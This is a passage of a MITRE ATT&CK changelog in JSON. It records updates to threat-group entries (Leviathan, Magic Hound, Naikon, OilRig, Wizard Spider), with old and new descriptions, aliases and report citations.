"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies" }, { "source_name": "Crowdstrike KRYPTONITE PANDA August 2018", "description": "Adam Kozy. (2018, August 30). Two Birds, One Stone Panda. Retrieved August 24, 2021.", "url": "https://www.crowdstrike.com/blog/two-birds-one-stone-panda/" }, { "source_name": "MSTIC GADOLINIUM September 2020", "description": "Ben Koehl, Joe Hannon. (2020, September 24). Microsoft Security - Detecting Empires in the Cloud. Retrieved August 24, 2021.", "url": "https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/" }, { "source_name": "SecureWorks BRONZE MOHAWK n.d.", "description": "SecureWorks. (n.d.). Threat Profile - BRONZE MOHAWK. Retrieved August 24, 2021.", "url": "https://www.secureworks.com/research/threat-profiles/bronze-mohawk" }, { "source_name": "FireEye APT40 March 2019", "description": "Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. 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Old Description
New Description
t1[Leviathan](https://attack.mitre.org/groups/G0065) is a cybet1[Leviathan](https://attack.mitre.org/groups/G0065) is a Chin
>r espionage group that has been active since at least 2013. >ese state-sponsored cyber espionage group that has been attr
>The group generally targets defense and government organizat>ibuted to the Ministry of State Security's (MSS) Hainan Stat
>ions, but has also targeted a range of industries including >e Security Department and an affiliated front company.(Citat
>engineering firms, shipping and transportation, manufacturin>ion: CISA AA21-200A APT40 July 2021) Active since at least 2
>g, defense, government offices, and research universities in>009, [Leviathan](https://attack.mitre.org/groups/G0065) has 
> the United States, Western Europe, and along the South Chin>targeted the following sectors: academia, aerospace/aviation
>a Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: >, biomedical, defense industrial base, government, healthcar
>FireEye Periscope March 2018)>e, manufacturing, maritime, and transportation across the US
 >, Canada, Europe, the Middle East, and Southeast Asia.(Citat
 >ion: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Le
 >viathan Oct 2017)(Citation: FireEye Periscope March 2018)
" }, { "type": "intrusion-set", "id": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-01-16 16:13:52.465000+00:00", "modified": "2021-10-04 13:12:54.646000+00:00", "name": "Magic Hound", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. 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Retrieved May 4, 2021.", "url": "https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential" }, { "source_name": "ClearSky Charming Kitten Dec 2017", "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" }, { "source_name": "Eweek Newscaster and Charming Kitten May 2014", "description": "Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 2021.", "url": "https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering" }, { "source_name": "ClearSky Kittens Back 2 Oct 2019", "description": "ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. 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Retrieved April 14, 2021.\"}, \"root['external_references'][12]['url']\": {\"new_value\": \"https://www.secureworks.com/research/threat-profiles/cobalt-illusion\", \"old_value\": \"https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering\"}, \"root['external_references'][13]['source_name']\": {\"new_value\": \"Proofpoint TA453 July2021\", \"old_value\": \"ClearSky Kittens Back 2 Oct 2019\"}, \"root['external_references'][13]['description']\": {\"new_value\": \"Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021.\", \"old_value\": \"ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. Retrieved April 21, 2021.\"}, \"root['external_references'][13]['url']\": {\"new_value\": \"https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453\", \"old_value\": \"https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf\"}, \"root['external_references'][14]['source_name']\": {\"new_value\": \"Unit 42 Magic Hound Feb 2017\", \"old_value\": \"ClearSky Kittens Back 3 August 2020\"}, \"root['external_references'][14]['description']\": {\"new_value\": \"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.\", \"old_value\": \"ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021.\"}, \"root['external_references'][14]['url']\": {\"new_value\": \"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/\", \"old_value\": \"https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf\"}, \"root['external_references'][15]['source_name']\": {\"new_value\": \"Proofpoint TA453 March 2021\", \"old_value\": \"IBM ITG18 2020\"}, \"root['external_references'][15]['description']\": {\"new_value\": \"Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021.\", \"old_value\": \"Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021.\"}, \"root['external_references'][15]['url']\": {\"new_value\": \"https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential\", \"old_value\": \"https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/\"}, \"root['external_references'][16]['source_name']\": {\"new_value\": \"ClearSky Charming Kitten Dec 2017\", \"old_value\": \"Microsoft Phosphorus Mar 2019\"}, \"root['external_references'][16]['description']\": {\"new_value\": \"ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.\", \"old_value\": \"Burt, T.. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020.\"}, \"root['external_references'][16]['url']\": {\"new_value\": \"http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf\", \"old_value\": \"https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/\"}, \"root['external_references'][17]['source_name']\": {\"new_value\": \"Eweek Newscaster and Charming Kitten May 2014\", \"old_value\": \"Microsoft Phosphorus Oct 2020\"}, \"root['external_references'][17]['description']\": {\"new_value\": \"Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 2021.\", \"old_value\": \"Burt, T. (2020, October 28). Cyberattacks target international conference attendees. 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Retrieved March 8, 2021.\"}, \"root['external_references'][18]['url']\": {\"new_value\": \"https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf\", \"old_value\": \"https://noticeofpleadings.com/phosphorus/files/Complaint.pdf\"}, \"root['x_mitre_version']\": {\"new_value\": \"4.0\", \"old_value\": \"3.0\"}}, \"iterable_item_added\": {\"root['aliases'][1]\": \"TA453\", \"root['external_references'][19]\": {\"source_name\": \"IBM ITG18 2020\", \"description\": \"Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021.\", \"url\": \"https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/\"}, \"root['external_references'][20]\": {\"source_name\": \"Microsoft Phosphorus Mar 2019\", \"description\": \"Burt, T. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020.\", \"url\": \"https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/\"}, \"root['external_references'][21]\": {\"source_name\": \"Microsoft Phosphorus Oct 2020\", \"description\": \"Burt, T. (2020, October 28). Cyberattacks target international conference attendees. Retrieved March 8, 2021.\", \"url\": \"https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/\"}, \"root['external_references'][22]\": {\"source_name\": \"US District Court of DC Phosphorus Complaint 2019\", \"description\": \"US District Court of DC. (2019, March 14). MICROSOFT CORPORATION v. JOHN DOES 1-2, CONTROLLING A COMPUTER NETWORK AND THEREBY INJURING PLAINTIFF AND ITS CUSTOMERS. Retrieved March 8, 2021.\", \"url\": \"https://noticeofpleadings.com/phosphorus/files/Complaint.pdf\"}}}", "previous_version": "3.0", "version_change": "3.0 \u2192 4.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Magic Hound](https://attack.mitre.org/groups/G0059) is an It1[Magic Hound](https://attack.mitre.org/groups/G0059) is an I
>ranian-sponsored threat group that conducts long term, resou>ranian-sponsored threat group that conducts long term, resou
>rce-intensive cyber espionage operations, dating back as ear>rce-intensive cyber espionage operations, likely on behalf o
>ly as 2014. The group typically targets U.S. and Middle East>f the Islamic Revolutionary Guard Corps. They have targeted 
>ern military organizations, as well as other government pers>U.S. and Middle Eastern government and military personnel, a
>onnel, via complex social engineering campaigns.(Citation: F>cademics, journalists, and organizations such as the World H
>ireEye APT35 2018)>ealth Organization (WHO), via complex social engineering cam
 >paigns since at least 2014.(Citation: FireEye APT35 2018)(Ci
 >tation: ClearSky Kittens Back 3 August 2020)(Citation: Certf
 >a Charming Kitten January 2021)(Citation: Secureworks COBALT
 > ILLUSION Threat Profile)(Citation: Proofpoint TA453 July202
 >1)
" }, { "type": "intrusion-set", "id": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:54.232000+00:00", "modified": "2021-08-19 18:23:23.507000+00:00", "name": "Naikon", "description": "[Naikon](https://attack.mitre.org/groups/G0019) is assessed to be a state-sponsored cyber espionage group attributed to the Chinese People\u2019s Liberation Army\u2019s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020).(Citation: CameraShy) Active since at least 2010, [Naikon](https://attack.mitre.org/groups/G0019) has primarily conducted operations against government, military, and civil organizations in Southeast Asia, as well as against international bodies such as the United Nations Development Programme (UNDP) and the Association of Southeast Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baumgartner Naikon 2015) \n\nWhile [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015)", "aliases": [ "Naikon" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0019", "external_id": "G0019" }, { "source_name": "Naikon", "description": "(Citation: Baumgartner Naikon 2015)(Citation: CameraShy)(Citation: Baumgartner Golovkin Naikon 2015)" }, { "source_name": "CameraShy", "description": "ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.", "url": "http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf" }, { "source_name": "Baumgartner Naikon 2015", "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" }, { "source_name": "Baumgartner Golovkin Naikon 2015", "description": "Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.", "url": "https://securelist.com/the-naikon-apt/69953/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Kyaw Pyiyt Htet, @KyawPyiytHtet" ], "x_mitre_version": "2.0", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Kyaw Pyiyt Htet, @KyawPyiytHtet\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-19 18:23:23.507000+00:00\", \"old_value\": \"2020-07-03 21:48:57.725000+00:00\"}, \"root['description']\": {\"new_value\": \"[Naikon](https://attack.mitre.org/groups/G0019) is assessed to be a state-sponsored cyber espionage group attributed to the Chinese People\\u2019s Liberation Army\\u2019s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020).(Citation: CameraShy) Active since at least 2010, [Naikon](https://attack.mitre.org/groups/G0019) has primarily conducted operations against government, military, and civil organizations in Southeast Asia, as well as against international bodies such as the United Nations Development Programme (UNDP) and the Association of Southeast Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baumgartner Naikon 2015) \\n\\nWhile [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015)\", \"old_value\": \"[Naikon](https://attack.mitre.org/groups/G0019) is a threat group that has focused on targets around the South China Sea.(Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People\\u2019s Liberation Army\\u2019s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau(Military Unit Cover Designator 78020).(Citation: CameraShy) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015)\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n-[Naikon](https://attack.mitre.org/groups/G0019) is a threat group that has focused on targets around the South China Sea.(Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People\\u2019s Liberation Army\\u2019s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau(Military Unit Cover Designator 78020).(Citation: CameraShy) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015)\\n+[Naikon](https://attack.mitre.org/groups/G0019) is assessed to be a state-sponsored cyber espionage group attributed to the Chinese People\\u2019s Liberation Army\\u2019s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020).(Citation: CameraShy) Active since at least 2010, [Naikon](https://attack.mitre.org/groups/G0019) has primarily conducted operations against government, military, and civil organizations in Southeast Asia, as well as against international bodies such as the United Nations Development Programme (UNDP) and the Association of Southeast Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baumgartner Naikon 2015) \\n+\\n+While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015)\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"CameraShy\", \"old_value\": \"Baumgartner Naikon 2015\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.\", \"old_value\": \"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf\", \"old_value\": \"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"Baumgartner Naikon 2015\", \"old_value\": \"CameraShy\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.\", \"old_value\": \"ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf\", \"old_value\": \"http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Naikon](https://attack.mitre.org/groups/G0019) is a threat t1[Naikon](https://attack.mitre.org/groups/G0019) is assessed 
>group that has focused on targets around the South China Sea>to be a state-sponsored cyber espionage group attributed to 
>.(Citation: Baumgartner Naikon 2015) The group has been attr>the Chinese People\u2019s Liberation Army\u2019s (PLA) Chengdu Militar
>ibuted to the Chinese People\u2019s Liberation Army\u2019s (PLA) Cheng>y Region Second Technical Reconnaissance Bureau (Military Un
>du Military Region Second Technical Reconnaissance Bureau(Mi>it Cover Designator 78020).(Citation: CameraShy) Active sinc
>litary Unit Cover Designator 78020).(Citation: CameraShy) Wh>e at least 2010, [Naikon](https://attack.mitre.org/groups/G0
>ile [Naikon](https://attack.mitre.org/groups/G0019) shares s>019) has primarily conducted operations against government, 
>ome characteristics with [APT30](https://attack.mitre.org/gr>military, and civil organizations in Southeast Asia, as well
>oups/G0013), the two groups do not appear to be exact matche> as against international bodies such as the United Nations 
>s.(Citation: Baumgartner Golovkin Naikon 2015)>Development Programme (UNDP) and the Association of Southeas
 >t Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baum
 >gartner Naikon 2015)   While [Naikon](https://attack.mitre.o
 >rg/groups/G0019) shares some characteristics with [APT30](ht
 >tps://attack.mitre.org/groups/G0013), the two groups do not 
 >appear to be exact matches.(Citation: Baumgartner Golovkin N
 >aikon 2015)
" }, { "type": "intrusion-set", "id": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-12-14 16:46:06.044000+00:00", "modified": "2021-10-15 22:04:08.941000+00:00", "name": "OilRig", "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)", "aliases": [ "OilRig", "COBALT GYPSY", "IRN2", "HELIX KITTEN", "APT34" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0049", "external_id": "G0049" }, { "source_name": "OilRig", "description": "(Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018)" }, { "source_name": "COBALT GYPSY", "description": "(Citation: Secureworks COBALT GYPSY Threat Profile)" }, { "source_name": "IRN2", "description": "(Citation: Crowdstrike Helix Kitten Nov 2018)" }, { "source_name": "HELIX KITTEN", "description": "(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)" }, { "source_name": "APT34", "description": "This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021)" }, { "source_name": "Palo Alto OilRig April 2017", "description": "Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/" }, { "source_name": "ClearSky OilRig Jan 2017", "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.", "url": "http://www.clearskysec.com/oilrig/" }, { "source_name": "Palo Alto OilRig May 2016", "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" }, { "source_name": "Palo Alto OilRig Oct 2016", "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" }, { "source_name": "Unit 42 Playbook Dec 2017", "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", "url": "https://pan-unit42.github.io/playbook_viewer/" }, { "source_name": "FireEye APT34 Dec 2017", "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" }, { "source_name": "Unit 42 QUADAGENT July 2018", "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" }, { "source_name": "Secureworks COBALT GYPSY Threat Profile", "description": "Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021.", "url": "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy" }, { "source_name": "Crowdstrike Helix Kitten Nov 2018", "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" }, { "source_name": "Check Point APT34 April 2021", "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.", "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Robert Falcone", "Bryan Lee" ], "x_mitre_version": "3.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 22:04:08.941000+00:00\", \"old_value\": \"2021-04-26 12:59:49.642000+00:00\"}, \"root['description']\": {\"new_value\": \"[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)\", \"old_value\": \"[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021)\", \"old_value\": \"This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.0\", \"old_value\": \"2.0\"}}, \"iterable_item_added\": {\"root['external_references'][15]\": {\"source_name\": \"Check Point APT34 April 2021\", \"description\": \"Check Point. (2021, April 8). Iran\\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.\", \"url\": \"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/\"}}}", "previous_version": "2.0", "version_change": "2.0 \u2192 3.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[OilRig](https://attack.mitre.org/groups/G0049) is a suspectt1[OilRig](https://attack.mitre.org/groups/G0049) is a suspect
>ed Iranian threat group that has targeted Middle Eastern and>ed Iranian threat group that has targeted Middle Eastern and
> international victims since at least 2014. The group has ta> international victims since at least 2014. The group has ta
>rgeted a variety of industries, including financial, governm>rgeted a variety of sectors, including financial, government
>ent, energy, chemical, and telecommunications, and has large>, energy, chemical, and telecommunications. It appears the g
>ly focused its operations within the Middle East. It appears>roup carries out supply chain attacks, leveraging the trust 
> the group carries out supply chain attacks, leveraging the >relationship between organizations to attack their primary t
>trust relationship between organizations to attack their pri>argets. FireEye assesses that the group works on behalf of t
>mary targets. FireEye assesses that the group works on behal>he Iranian government based on infrastructure details that c
>f of the Iranian government based on infrastructure details >ontain references to Iran, use of Iranian infrastructure, an
>that contain references to Iran, use of Iranian infrastructu>d targeting that aligns with nation-state interests. (Citati
>re, and targeting that aligns with nation-state interests. (>on: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig 
>Citation: Palo Alto OilRig April 2017) (Citation: ClearSky O>Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: P
>ilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citat>alo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 20
>ion: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook >17) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUA
>Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit >DAGENT July 2018)
>42 QUADAGENT July 2018) This group was previously tracked un 
>der two distinct groups, APT34 and OilRig, but was combined  
>due to additional reporting giving higher confidence about t 
>he overlap of the activity. 
" }, { "type": "intrusion-set", "id": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-12 18:15:29.396000+00:00", "modified": "2021-10-14 17:27:41.194000+00:00", "name": "Wizard Spider", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) is a Russia-based financially motivated threat group originally known for the creation and deployment of [TrickBot](https://attack.mitre.org/software/S0266) since at least 2016. [Wizard Spider](https://attack.mitre.org/groups/G0102) possesses a diverse arsenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: CrowdStrike Wizard Spider October 2020)", "aliases": [ "Wizard Spider", "UNC1878", "TEMP.MixMaster", "Grim Spider" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0102", "external_id": "G0102" }, { "source_name": "UNC1878", "description": "(Citation: FireEye KEGTAP SINGLEMALT October 2020)" }, { "source_name": "TEMP.MixMaster", "description": "(Citation: FireEye Ryuk and Trickbot January 2019)" }, { "source_name": "Grim Spider", "description": "(Citation: CrowdStrike Ryuk January 2019)(Citation: CrowdStrike Grim Spider May 2019)" }, { "source_name": "CrowdStrike Ryuk January 2019", "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.", "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/" }, { "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a" }, { "source_name": "CrowdStrike Wizard Spider October 2020", "description": "Podlosky, A., Hanel, A. et al. (2020, 